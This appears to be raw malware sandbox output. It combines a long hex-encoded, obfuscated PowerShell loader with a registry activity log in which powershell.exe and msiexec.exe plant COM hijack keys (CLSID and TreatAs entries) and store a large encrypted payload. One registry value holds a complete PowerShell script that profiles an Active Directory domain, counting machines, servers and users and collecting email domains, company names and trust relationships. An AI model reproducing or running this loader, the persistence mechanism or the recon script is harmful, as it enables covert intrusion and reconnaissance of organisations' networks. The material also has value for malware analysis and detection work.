54232343732363133383544334432343638363633343542323437323631333835443243323436383636333435423234354635443230374432303342323437383736333937433235374232343633373033333344323832343633373033333242333132393235323832383332333933323244333333363239323933423230323436433644333133443238323436433644333132423234363836363334354232343633373033333544323932353238333333353337324432383238333833313242333733383239324433353338323932393342323032343638363633343542323436333730333335443243323436383636333435423234364336443331354433443234363836363334354232343643364433313544324332343638363633343542323436333730333335443342323435463244363237383646373232343638363633343542323832343638363633343542323436333730333335443242323436383636333435423234364336443331354432393235323832383331333433313242323833323330333832443339333332393239323935443230374432303744323033423234363136343332323033443230323832363230323436323634333237433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436333730333333443330334232343633373033333230324436433734323032343631363433323245344336353645363737343638334232343633373033333242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234363136343332324535333735363237333734373236393645363732383234363337303333324333323239324332383332333932443238323833313336324433333239323932393239323037443239323927297c2628247073686f6d655b3132392d3132355d2b247073686f6d655b3137372d3134335d2b277827297d66756e6374696f6e206962337b706172616d28247773322c24666a38292028776833202732343638373633373344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033313330333433303330333034323244333034313330343132443330333533303436324433303339333034333244333034333330333733303433333033313330333333303331374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333133303334323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033313330333432373342323436363733333933443238323436383736333735423333333235443242323833353330324432383238323833323333324233353239323932443331333132393239323933423230323436363639333333443234363837363337354232343636373333393245324532383234363637333339324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436363639333332393342323436383736333733443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333133303334333033303330343232443330343133303431324433303335333034363244333033393330343332443330343333303337333034333330333133303333333033313744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303333333033313237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333333303331323733423234363637333339334437423230323437333734333833443330324532453332333533353342333032453245333233353335374332353742323032343643364133393344323832343643364133393242323437333734333835423234354635443242323436363639333335423234354632353234363636393333324534433635364536373734363835443239323532383238333233323338324232383332333432423334323932393239334232303234373337343338354232343546354432433234373337343338354232343643364133393544334432343733373433383542323436433641333935443243323437333734333835423234354635443230374432303342323436383736333737433235374232343639373533303344323832343639373533303242333132393235323832383332333933323244333333363239323933423230323436453632333133443238323436453632333132423234373337343338354232343639373533303544323932353238333333353337324432383238333833313242333733383239324433353338323932393342323032343733373433383542323436393735333035443243323437333734333835423234364536323331354433443234373337343338354232343645363233313544324332343733373433383542323436393735333035443342323435463244363237383646373232343733373433383542323832343733373433383542323436393735333035443242323437333734333835423234364536323331354432393235323832383331333433313242323833323330333832443339333332393239323935443230374432303744323033423234373737363339323033443230323832363230323436363733333937433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436393735333033443330334232343639373533303230324436433734323032343737373633393245344336353645363737343638334232343639373533303242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234373737363339324535333735363237333734373236393645363732383234363937353330324333323239324332383332333932443238323833313336324433333239323932393239323037443239323927297c2628247073686f6d655b3139312d3138375d2b247073686f6d655b3134392d3131355d2b277827297d677934202470633420247063342e6c656e67746820282828363735312b313037383929292920282835372b28372d3029292966756e6374696f6e20746b397b706172616d28246961382c24766533292028616332202732343734364633313344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343734364633313245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343639363133383239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343734364633313245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437363635333332433234363936313338323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373436463331324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3131302d3130365d2b247073686f6d655b3232302d3138365d2b277827297d66756e6374696f6e20616c397b706172616d2824686c312c24666230292028736232202732343635363333363344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343635363333363245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343638364333313239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343635363333363245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436363632333032433234363836433331323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363536333336324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3131322d3130385d2b247073686f6d655b3230342d3137305d2b277827297d66756e6374696f6e206165307b706172616d2824786b352c24747932292028616332202732343736364433343344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343736364433343245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343738364233353239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343736364433343245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323437343739333232433234373836423335323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234373636443334324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3136322d3135385d2b247073686f6d655b3230372d3137335d2b277827297d powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0104000B-0A0A-050F-090C-0C070C010301}\ProgID\ = "{03010E0C-1010-0E13-0B04-110B0C0B0608}" powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000_Classes\CLSID\3854 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n#Write-Host WRHOSTDATA $data; #don't work\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Key created \REGISTRY\MACHINE\software\classes\{03010E0C-1010-0E13-0B04-110B0C0B0608}\CLSID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{03010E0C-1010-0E13-0B04-110B0C0B0608}\ = "{03010E0C-1010-0E13-0B04-110B0C0B0608}" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{03010E0C-1010-0E13-0B04-110B0C0B0608}\CLSID\ = "{0104000B-0A0A-050F-090C-0C070C010301}" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0904030D-0D08-100C-0812-0D0C0C061011} powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0904030D-0D08-100C-0812-0D0C0C061011}\TreatAs powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0104000B-0A0A-050F-090C-0C070C010301} powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0104000B-0A0A-050F-090C-0C070C010301}\VersionIndependentProgID\0301 = 7e86a1ee72eb61fd9e279ddc33a6eb4677f58e7855c30ccc8520d205efbd93fd983b9a74ee7761a98e98ac5ac6b0a75027fcdd10e56a44aac5924c9e82773b494b58339fb15496c9bdf4e28468db43cb570545f0be74fc91727c5a16eb786741a216ca28e2e130ed7620ef4fbb4f6fd0dbe8380213e09b11ef2bd726f3d52bbfdf0b151888c2cea0c8ca73ee5c92678cbe669c77780fe3c3c190b5343cd23bde1fc5871c3524b810c137117ce489d0e950b13c43a1f8b99a613e93e5ff99db0c466d40351af20841d80c2187bc276965c4a1af8cb085dc26379cc8eb78ffe0ba90fd8a0b9da40b6007ee317cf0476a860f8ebc05ea5a76d0033421bc44e552a500aeb8a3efe43ac796b85bf331fc0b8d3fdd35f263825c8e61f811c1a94c89f35ac29f6b6bbc635d5ac07503194c30d4620c0036760f63d2362bca61588ec3b5f57ab6638122551a62a638bdf42d84a19bbb8da7c9b97af92a9a65d0dd02303befaf4f3617c099d07a916a7065b2da7984b4548363a7057360ecdebb9250ba1731559724b419c15f6b83c8093c190edbd0e4368b875054c1e171f801e2e08068c708f5006c7d3024b00a04a1fc020c7f538be638c526fb202d4e827a5d6f72a07fc39402ca5dda478bc34179a0de8d1c4010e7815df92e49566182275e49e0656901c2b8b8592db600810f6ddec6e7a45ccfc8e6ebc5aeb720e0945299bc54b4a16009d87cbdea3ac48856ca8689f3487e7d3cf8d088b4bc51d767b9547603019d4a30b954039506984f3104d935d92d15c27ca192f25dff02eb4d54693e9e55261b6099910dfe1bb1f873b8aee026951856885a05da4564ef83aec91ecbc90515522a79746059a3844c088a3757da7a766062285410d542075f9ee9e1312706b951c47979d595c6374eb363ea4e825ffcc13bc9c25ce7678c9a5446c96cd7ec9f60f4dbd8a92323fd2eed23f13e0194a7d81f7b8ccd99f43c16cb25ab7943b21f49e0a3b3fd96b33a6e11fe6a2ebee328671d78a1e0190c89c64b7686de87b6e6e5db006bd1c1e6fdf2238b496e49688fd9d0039bbd0709af85e0ea176840d5bf1b3fa24160471e1dfa1fa03b5f1b74b1b00dfc1af1049962ea06754ee724c0f29bdd54f37261cd9cafabe6dec61cc7d0d0d2ad98dbecd7cc40ecc11a72b0e986a58330d91536dd65abda26ebe491995a45a4fac33fdd52ac66cbabfcc18f2eedfb4baabadd5a5adcbb1222f1c8b4ff4a42485262bb46181eb811f54a8d1eba381d78b87028bae0466f4324c2cc6243be2002cbc4b84f05e6c18453dfd38b3a9afed5b18fb0f2af450d03bc902f895c9e790ec500c4e5e7965d4f189e27ce853eb983b6abed59101a8267f6d082d58c5552bf9722727184275fe6ec5e94ef2cdf06b4068f717617f9166965fb2fdb7bd12e1528f20e31f15662bb5c761d0a75bcb31be7429cad04dcabedd8bb5e23eec9c485582159da1899eadb6f8cb7af3609ebb7ffff48c48dda64fb9f5cd0a6307aaf71bd4a47b55e294ba4e228edbd3750cb30061a4749e1e787d78f0b47ca1661cc3a619290fed080faf7f0767366c0748c015ff10c9e7a46b57843cf457df9b080f0f3f4a23ed05e1f3d030d3223c4c61dae38231282e21a8747d68ca907e13fb40b2975f26f3931c6dfa4524965c1bc54254c73e309ed87151eccc205397874bea488f4a1668ebe1407448b281c8985e545737956df7cf2ef1089b4879d76204694828641201bde470e7ed5bb941ad495bfd59a4e02658ed4040c95b8f33e715197e37975d1ca6ce9ba02975fe59c0c7ccc4e6668880bfd8fba340a5e40bf3185f4e8dac901dae3d67cda00c309ca541f729a049bc2e3784ed4e36c671c7524acad08fda21a13d77a90bf04f1451550ff187396774c534e3fc73cbab07e2c705da6c9eef7d18299a5f8ae88d9c498f842ec1ac50f52b3ae2d6efd98de62359f09514ba7c1dc00dc02bc83fdaaea81724138f28a1aeee3d0820346eed1a40ee4bdce1eb122b6ec3f62be878ee169674a675286ca920536c939f7777e382c1e4b078b8090be91d88bdb4fd067cbdbae4546ad56a40ebd77fbf6730d65d136352935261269a5e7cf7157e573857a67db38303021eb406db16567929a696a7042be8a6a7d53fefeab40b0f11c93ccae07afd61b647a08d8babc9835a3aedcab57dedd15e10eba25b2eb234b5e2f50385ec3a5c0a79f90a367829d667beb342bd51876808ab83d000aac7a7204e8c8288dbf3b33f65b353edba25e46c835dec88c7756b71a4515767d0edbd2ab5f257d4f385a4e38244eb0075fa8a939f256383dfcc49628d0512bd2d7ac96daff983f66761851b7f70db224d8bd7dd95483581141ced64f9d552005c722018847703fec420ac3265e49fb3c7c4fb93b8e0c82e75f36fffc11858c2e3f037248a68aceda30f54bc723cded408b87282b446598b4119d13b346461fafa37df1f51c6a1815e07d8f115f738af6e1985b48c32a2efb6a2d63fc57dc25678ab30908cc690b1c99b6ac6d03330ff5865237db73fa488211a54a49373ea59ca7098b9b95df5227cc6a50a03656146b58dba36d965bd204ee46eecec0c9c814dfbdb11422e9c23540e2be48a52b4d17948f2ed929ab8f075aebf1928c3fb98d2f277bad02e7bd90ff9d8d459cc6e5314f610883ec19e348f93cb53e0b1ce2dd2ec130c480c5a61b28c799ebf6cc261c579db58388ebd2753c097451229d10e686ce1f0ff112a0c23b085528307542ed693843ea48a5279f9dcbe15a3db640e580468b6713ab3e5dba052bfb33dc6c0444c19f0db7fd43e75a6b7255daa0ded17e0aa6b242bf04914296870fd1ddf792e74d511a40c2c2bd7787df4ac64b8f4b7da026a172354fff430ff9c5cc34af835ff7bf19cae2f83457ff44ea581a6a40a64eeb5c17cb92cde8024dd1125d14e05d46f2285fd24fd8f8dba81b2fa2d889c7aadf817b8f805f7ba59268037c0dce3ef584fac2ef14f4e719e06af6ec89c3746cb04b5563fcf09cd4c069768edcdf95e00762583ac0c11986dd84e2aa76f5f80838d825086c9409f5c29dd325b80301d5ce86612fc4c0e168f9d4cbe0aaa33ab1952d68947b1dd902ed9bd09a056197e68cbffb4bf17a97c7eca0ddbc2bfc1260057aa5b614e437b5b22586c92fb4e0346b9fd0c12a348992755326222d3007d3ece2765c3c8125bbe1cb6ef6233ef6ae88d9613789d7acdde2f79d2d72b367c3fea3c17d036085a089509d9e727878aee0c0ebf4eaf3017a89510880709b3a0e81631b158593d7bd99263d97ef2aeed62e85937543429b77b5bf70de00930d0531330100796b5c34a8e8d33f7894d9c4e046e99cefaa30b4681eb20d927508b81c9a26608c19b4b56163067cd6a6ce1f013fc12515c3b1e2a3c90ed5ac284c0609563d5e2e1e4b7ceb98cfce438175579e819c46004d880d610ff0fabca7f5ad4d398ce585f621112702863573e0c37e774cbdb7af0c0d18a2c86245ccaf05fee0b5bce90008c826e4a7e2d5f33cdc509278d21702e8744d39a7ef7d2a3a038e987b50284957f9163fb71a792ba2b3a7fa0ea4e768176432416524b2d17d406e7325f8c5ed5cd89f561052d2cb000806dece733b1e224ab1cd1ab7afed026a6d63268a8089a10e21bad7e4daaa46ffc764d70173c0c06189da029bdd5a2824347f518504ed72f7e78a33daa3fdf029d32ddd4a32736cd497241d2d1affc75d4a612c3605d03f5d9a0bfb2b706ab5c5f485a012e2fe073cd064a74081bceeeb4eb67fdd096248159eb8a162c0de286e37246f6d055584d5b52c3b75a3ccedc3ca45732d992f0c06724fdfd2ef8fafe40ec9f3a017f055a30ae686284ffb3cbb386b604d8631bda5ac0b2910267dca19c1396170e759881bb5cac20e8398c288e2cc9b84843b97a86930fcdd52775ed93800ceb848f04ab609e38e6d60fa02091e6fe37dc36d61471fbcf3967a06fdcaf2cbf0fe8b65746354460b68527ca5c28b6849119a697cc9ac1036bbf380de7e6c73ccb9937ea5ac3270e3c9e5f97d05f8be68555cc14439777c26d5a1e6b82d070872b02384432862818f148d34ebdf920901bb555f19887e819c6edfb1998a2f724ea6fdc8f271633d23722c8f9de8a6a57f8aa96f2b6b342c7f71ff378857942e82a693943f7a375c31ff138d94c49b2fb162525fb429e6ef1d6b43079af4b25df6f4638e207161b5d5d24f4fdd357dbc3fa7645a742311df02e67e457e8e6a52055df00ad9404174b32d05fa005fe4807e2f297df64af5c35323f870c29c335345517d4cae909f1baebd1ae36be0a4fdd7fd1326ac3257bb97b912cc1a5b4b8f8eb121d826aac2c298cf632a4572c0a56b2145e9fc90197588b69d940b441034cf2ba0adfc541ffdfad26f367415bbf63694b117e027b9e38aa86af952fc1145984181ef171cb68f8f0b752afb745a05f6c7f00206373742306dd4f32e4c7d79693b8bcea4d805edabbd205cfd7a1147fa4c3105d16cc8ff3edeab79b399dfbca1defaa58ddee2bf1abae8cef4fefdafe21d0369b59bd752941a503117b113c4132c677b90ba21a9606cb4046d4b4c5d21ddfe51960e5122b659cd6b8aae6b3dca619fdf30cbc0eb6142b0f897f81003cbb9e09ba52c9503f69f79aa00aad79b0dc7567b63df6001d0d78e3b74069f45c87e66fbe605d1013c14ad3ef6068f21a46e05f762811f777165b34d3ac02572e085323bf58df7cfad27b5318840a24ed87fc812e4b5d1276126b1c33d2d2344b373678c45b1d8d2dd6935a8928d6f66002c10e9bce652e8c48e8b1f3458773bd4b4dcb8ceb28c65ec93941f460874810d5369bb43886f395eff4cb425f1ed703ff3df3828067bd273786b6ed307bed300d0648aeeb086f66f969afa25cac1c250378a920fa5f49662b479177250d9a99830a4c66b2923c5a5d9dac7dbefff92e7f0056daea00e544e6fad89da2eabe6c0cb3220bba7fb36a423c4b49035d6d175ad09548e4f9289eceb92f6c19c433ef7a8712b88ee7365d56d71db1a2cf6dfd3d2e9c35f6bf082ad4fe6798ddbf10ead089fc7265317245c8441fae663dcdad72cb12e2ecc946512ca70593fe66055bc54a6729c8300e26f3e70e38fa90983e0851a5b97aff53eb187e7ca9d0f90022fa156b0f1b705bc4103a826264794b20025b5a24bbe872d7df47b63594a90896520ba5e1c6663963a0a88b081da56df6683dee3755ae38c43408ef81642956d8f023736ae3a1a34bd5999cfff1c7e8b9465410d2abb61bd384b90f88a62ab52c308f70e83f0fd7913de47b34da8ff653c9f65f11ce3f8359e03bb119f76688a28c34f049affcef505b4f3d7a2a9484e766a94a65392194d314d8ade69f451894ff3523a7b6677a0e09b828f4736bb3fa6a2221a9db921f276650519c4074a07fce67df6a6571ae710cf0b14610430d13d2883ba8beb14b16bdfad3b7a7f54bc789bb5c44a32ce4f6ff23928861a9448a190158f7e93e9690a804790f157e3774b90b92716323c79eee71c1b6eb5658f1d3a34c60aab06b41f2c10830b8e0e1e367646d02a595846d31141a2c515f7ffe9955fb6468abd0a7ad24d0e4f8c88139f625123dc89b3d6bf6489bd937e80a98194c646fc9ad8a8050e75909ce6f0bee2709127a0e9c22e2151fa9b63cae0b64557d218b3bbacadd1678d569c0bc4b945738a749a72197d38df7913e02cc71bb41e94cab7264c0b4117b463cbdc11417d8c1054b1f2902e568a78d60a7e160432c3c7226e6be74e21df88aab5c19c75b4edfe342787797f1492f250742ff0fcfb8c222a0e6f1337d9b389c59a735a15a2e4ebeb99dad60bcc1a6deb03905619aebd65327cf113ca1d3e94e4711cd3e056140624b20e502fdd3dd34787997826c7f774b97cdfc92f440a28edf99fd68abb735151fdbd3ef2ea35586b83b7afd46801c08544af49d154e0618b0b1ec2b027c457f803d5a79563a91064b7a33693235a5aa9034510c11bbb41a21d32ca93fa74e616f9f5998bf5465b25ae0bde392c7179d64a8301ceefd73f48fe85dab37b57ad28cc0dd69eb6f251bddfc979a7ecf7ae21cfe47ec56a77c7b5ed28327f930693612d45b482c1f34530491d61170b9411e7ba32d02e99e3f53ba3078b5a34ed6bcd213c6184ba6b57d73edaabb20fa566a006efbae38d77be4823adeb56346ec34a219f4e8ec546bed0009105fd6fb6f72bf8688ea0696b34782ff84826c244734f8baecfa35e4270f14e76defac3a8f9ae37115a3cffee273caceb07ba25545619f6db52a729f9d9dde26116b9996e421f125e9de73c495f871294a628a7bf255cd672b7be7ef7df680c05b58448bd93f87f5191a374a07a9bbb0352570fea1d5a9ebaba5c91df0fab4c174a2a984207b88d231520f1e441ec185e2a1a38d3b97df0189caa30e6caa3050cac5bc8a856facd7d28ac09b3990138fb7a83de0b8fdabd4ea222c349dde710c9088980c01790e9a52479165d50e0e3659e23c1b15a7c940a7b3d68d170dbfb764be2b8d7604a3b333dd149ee2488036c6d9baae08a1bba3d5d7ac0a16db220b391d349710e068a0b4a7222beab209c3a0ba516bf93fe99ff4ffe71d19e064bece2e26424f1accec82a9e643d8360a1c1a38b2e2af35c24b8c35c666ab95aa2571adf1a3498c39e8ad408e4607261f4bd7844066cb9c9b7bebefbf85d3270efb05b88afd5b9113e0f8891e4a84493f26c2c39358b5aa878b0730079d9d86715ede4391e73da0506a1125f146f5adeaac2ff825c9195ef8974cdd9fdc2aa6c013041799ba4ccecfc9ce3f6c3ebe6c402eabef5d35165cf3feaa1c264df13bf286fe0d733c523545e5c838979f9c8ecfb75585bad236b9225cd123db7dbe50fefe134da3e13cbf5933ba5ea2ebe68f7a183e8413ea370def6405f7a7c39e00900fb0105f49b755bf0222ad583d3a9ba4c692d469b434216f70bae5f233e18fd8c253a088e98ca61b0f3b4190930cb79d6972b763674a37c04ac892b6ec6bce1b3cdd14c6bc9d87e7a15cbe76a9ce96b2ad06d18e5401a1a8407a4e8c5ee967e0b1b40e249ccc210353856b9fdf898619084bd1b728354e5a6ece697b1975ba884983dc1752eaf1b873f38c3519a89f84bf4a2fb134e7c708d5057a1df6012fdba8fcec5eec7be6e669e17b4f359454e0eeadb897db6c03394d2ecee3f25e17972815f729882edd12e76a8a5d3afdfdc036dae3f189b88550da45532f5aa8b4478a43784c2db5ebd90c487eabc58dbad6dbc7b5d394a8864242780bf945cb1bffd04abd88be677ddfde721c9f8dce5bd04f81894a13a1b7d83a7703f825fef8af3c6f28c9f8f61788775224d2cd073391ce3049f1aebd0a46f768c0e2ee807befabd1929aba624e578e7188d95057fc74d27267e7389e7b968e8eed957871d1c3c098a440a1f5dead75ac8f81aa4d0c686d4d0509836814a03574e2ba9c91a2deff1bbacc0f4bb4e649ac7643e707a1be0b81fb2f0a4646bacaeb27367d58618f0f54f8f01575369ce7fde50c9f6b07a35a889fdd7d129ab74db2a7d1d4791855ca076dbf045e9c431ea3880457c43c44653eb1f3ec21946e4f8b0f1b4a2bfdb58d501ccda77a415ca9a275444227da2c830561ebb952b7c615079cc63f2604273012a3c850d7ab7949df1740c2d227fc02d316e5c02604d32c40a67e1a67e571bdb024e7e21eaf70115c727e3b804cad6b5bcf3b4a80b314c471be7fe7cc7c477b553ab841f9e2bb31d1c326e294faec4b1c